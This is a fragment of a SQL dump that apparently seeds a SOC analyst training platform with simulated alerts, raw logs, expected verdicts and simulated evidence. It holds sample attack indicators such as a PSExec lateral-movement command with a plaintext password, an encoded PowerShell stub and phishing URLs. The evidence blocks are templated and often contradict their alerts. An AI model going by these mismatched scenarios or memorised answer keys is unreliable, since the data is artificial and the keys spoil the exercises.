account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is a known safe internal address, indicating a benign activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Unusual Login Failure from Known Safe IP\",\"date\":\"2026-02-01T20:32:22.622Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(938, 'Failed Process Execution from Internal Script', 'low', 'Proofpoint', 'A process execution attempt failed due to incorrect scripting, originating from an internal automation script.', 'Malware', 'T1106', 0, 'Closed', 232, '{\"timestamp\":\"2026-01-16T13:55:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.5.15\",\"dst_ip\":\"192.168.5.20\",\"username\":\"automation\",\"hostname\":\"automation-server\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\"}', '2026-01-16 13:02:59', '2026-03-09 18:22:17', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"clean\",\"details\":\"Regular internal script with a known issue\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.5.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal automation server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process execution is part of an internal script that failed due to a known error.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Failed Process Execution from Internal Script\",\"date\":\"2026-02-01T20:32:22.623Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(939, 'Lateral Movement Attempt via PSExec Detected', 'critical', 'Proofpoint', 'PSExec was used to attempt lateral movement within the network, indicating possible intrusion activity.', 'Lateral Movement', 'T1570', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T05:40:22Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.100.5\",\"dst_ip\":\"192.168.100.25\",\"username\":\"admin-temp\",\"hostname\":\"compromised-host\",\"command_line\":\"psexec \\\\\\\\192.168.100.25 -u admin -p password cmd.exe /c whoami\"}', '2026-01-16 13:02:59', '2026-02-16 17:53:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.100.25 -u admin -p password cmd.exe /c whoami\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec use indicates lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.100.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal host\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.100.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target internal host\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec is a legitimate tool but commonly used for malicious lateral movement, confirming the attack.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Lateral Movement Attempt via PSExec Detected\",\"date\":\"2026-02-01T20:32:22.624Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(940, 'Spear Phishing Attempt with Lookalike Domain', 'high', 'Proofpoint', 'An email was received from a domain that closely resembles a trusted partner\'s domain. The email contained an urgent request to review a document linked in the email.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T08:23:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.45\",\"username\":\"jdoe@victimcompany.com\",\"hostname\":\"user-laptop-01\",\"email_sender\":\"ceo@trustedpartnerr.com\",\"domain\":\"trustedpartnerr.com\",\"url\":\"http://malicious-link.com/document\"}', '2026-01-16 13:04:11', '2026-02-16 17:12:39', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@trustedpartnerr.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used in phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/document\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user machine\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The domain and URL are known for phishing, indicating a true positive.\"}', 'Beginner', 'CORE', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Attempt with Lookalike Domain\",\"date\":\"2026-02-01T20:32:22.625Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(941, 'Credential Harvesting via Fake Office365 Login Page', 'critical', 'Email Gateway', 'A phishing email was detected containing a link to a fake Office365 login page designed to steal user credentials.', 'Credential Harvest', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T09:15:03Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.89\",\"dst_ip\":\"10.0.0.23\",\"username\":\"bsmith@company.com\",\"hostname\":\"workstation-05\",\"email_sender\":\"support@office365-support.com\",\"domain\":\"office365-support.com\",\"url\":\"http://phishy-login.com/login\"}', '2026-01-16 13:04:11', '2026-02-16 17:53:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@office365-support.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Email address involved in phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishy-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"URL hosting fake login pages for credential harvesting\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user machine\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The email and URL are confirmed to be malicious, constituting a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Credential Harvesting via Fake Office365 Login Page\",\"date\":\"2026-02-01T20:32:22.626Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(942, 'Unauthorized Remote Access Attempt Detected', 'medium', 'CrowdStrike', 'A remote login attempt was made using valid credentials from an unusual geographic location.', 'Brute Force', 'T1078', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-16T10:30:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"45.67.89.101\",\"dst_ip\":\"192.168.0.34\",\"username\":\"admin\",\"hostname\":\"server-01\",\"failed_attempts\":15}', '2026-01-16 13:04:11', '2026-03-06 10:23:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.67.89.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in attacks\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.0.34\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target server\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP has been reported for similar attacks, confirming it as malicious.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(943, 'Suspicious Office365 Login Page Detected', 'medium', 'SIEM', 'A user accessed a URL resembling an Office365 login page. Further investigation revealed it was a phishing attempt.', 'Phishing', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-16T11:45:10Z\",\"event_type\":\"web_request\",\"src_ip\":\"10.1.2.34\",\"dst_ip\":\"198.51.100.45\",\"username\":\"mjohnson@company.com\",\"hostname\":\"desktop-12\",\"url\":\"http://fakeoffice365.com/login\"}', '2026-01-16 13:04:11', '2026-03-06 10:20:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://fakeoffice365.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL recognized for phishing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.34\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user machine\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The URL is a known phishing site, indicating a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.627Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T11:45:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.1.2.34\\\",\\\"dst_ip\\\":\\\"198.51.100.45\\\",\\\"username\\\":\\\"mjohnson@company.com\\\",\\\"hostname\\\":\\\"desktop-12\\\",\\\"url\\\":\\\"http://fakeoffice365.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.627Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T11:45:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.1.2.34\\\",\\\"dst_ip\\\":\\\"198.51.100.45\\\",\\\"username\\\":\\\"mjohnson@company.com\\\",\\\"hostname\\\":\\\"desktop-12\\\",\\\"url\\\":\\\"http://fakeoffice365.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.627Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T11:45:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.1.2.34\\\",\\\"dst_ip\\\":\\\"198.51.100.45\\\",\\\"username\\\":\\\"mjohnson@company.com\\\",\\\"hostname\\\":\\\"desktop-12\\\",\\\"url\\\":\\\"http://fakeoffice365.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.627Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T11:45:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.1.2.34\\\",\\\"dst_ip\\\":\\\"198.51.100.45\\\",\\\"username\\\":\\\"mjohnson@company.com\\\",\\\"hostname\\\":\\\"desktop-12\\\",\\\"url\\\":\\\"http://fakeoffice365.com/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.627Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T11:45:10Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"10.1.2.34\\\",\\\"dst_ip\\\":\\\"198.51.100.45\\\",\\\"username\\\":\\\"mjohnson@company.com\\\",\\\"hostname\\\":\\\"desktop-12\\\",\\\"url\\\":\\\"http://fakeoffice365.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(944, 'QR Code Phishing Attack', 'high', 'Email Gateway', 'An email containing a QR code linked to a phishing site was detected. The QR code directed users to a credential-stealing page.', 'Phishing', 'T1566', 1, 'Closed', 297, '{\"timestamp\":\"2026-01-16T12:00:05Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.2.12\",\"username\":\"klee@company.com\",\"hostname\":\"laptop-07\",\"email_sender\":\"it-support@companyx.com\",\"domain\":\"companyx.com\",\"url\":\"http://phishing-site.com/qrcode\"}', '2026-01-16 13:04:11', '2026-03-15 11:47:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"it-support@companyx.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Email address used in phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-site.com/qrcode\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing activity\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user machine\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and QR code URL are confirmed malicious, making this a true positive.\"}', 'Beginner', 'CORE', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"QR Code Phishing Attack\",\"date\":\"2026-02-01T20:32:22.628Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(945, 'Email with Suspicious Attachment Detected', 'medium', 'Email Gateway', 'An email containing an attachment was detected, which appeared suspicious but was verified as safe after analysis.', 'Phishing', 'T1566', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-16T13:22:15Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.11\",\"dst_ip\":\"192.168.2.67\",\"username\":\"david@company.com\",\"hostname\":\"office-pc-01\",\"email_sender\":\"support@legitprovider.com\",\"domain\":\"legitprovider.com\",\"filename\":\"invoice.doc\"}', '2026-01-16 13:04:11', '2026-02-17 05:27:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"support@legitprovider.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Email sender verified as legitimate\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"invoice.doc\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Attachment analyzed and no malicious activity detected\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.67\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and attachment were verified as clean, indicating a false positive.\"}', 'Beginner', 'CORE', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Email with Suspicious Attachment Detected\",\"date\":\"2026-02-01T20:32:22.629Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(946, 'Suspicious Lookalike Domain Email', 'low', 'Proofpoint', 'An email from a domain that looks similar to a trusted partner\'s domain was received, but analysis confirmed it as legitimate.', 'Phishing', 'T1566', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-16T14:10:30Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"192.168.3.12\",\"username\":\"lisa@company.com\",\"hostname\":\"desktop-15\",\"email_sender\":\"contact@trustpartner.com\",\"domain\":\"trustpartner.com\"}', '2026-01-16 13:04:11', '2026-02-17 05:27:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"contact@trustpartner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Domain verified as legitimate\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"trustpartner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Domain confirmed as legitimate\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.3.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The domain and email sender are confirmed legitimate, making this a false positive.\"}', 'Beginner', 'CORE', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Lookalike Domain Email\",\"date\":\"2026-02-01T20:32:22.630Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(947, 'BEC Attempt Using CEO Impersonation', 'high', 'Email Gateway', 'An email impersonating the CEO was detected, attempting to initiate an unauthorized fund transfer.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-16T15:42:08Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"10.0.5.23\",\"username\":\"finance@company.com\",\"hostname\":\"accounting-pc\",\"email_sender\":\"ceo@company.com\",\"domain\":\"company.com\",\"url\":\"http://malicious-transfer.com/funds\"}', '2026-01-16 13:04:11', '2026-02-16 17:10:44', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Email used in BEC scams\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-transfer.com/funds\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"URL associated with fraudulent financial actions\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user machine\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are known for BEC scams, confirming a true positive.\"}', 'Beginner', 'CORE', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"BEC Attempt Using CEO Impersonation\",\"date\":\"2026-02-01T20:32:22.631Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(948, 'Brute Force Attack Detected from External IP', 'high', 'Splunk', 'Multiple failed login attempts detected on user account from a known malicious IP address.', 'Brute Force', 'T1110', 1, 'Closed', 93, '{\"timestamp\":\"2026-01-16T10:23:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01\",\"failed_attempts\":35}', '2026-01-16 13:12:47', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account activity\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated failed login attempts from a known malicious IP indicate a brute force attack.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.633Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T10:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.633Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T10:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.633Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T10:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.633Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-16T10:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.633Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 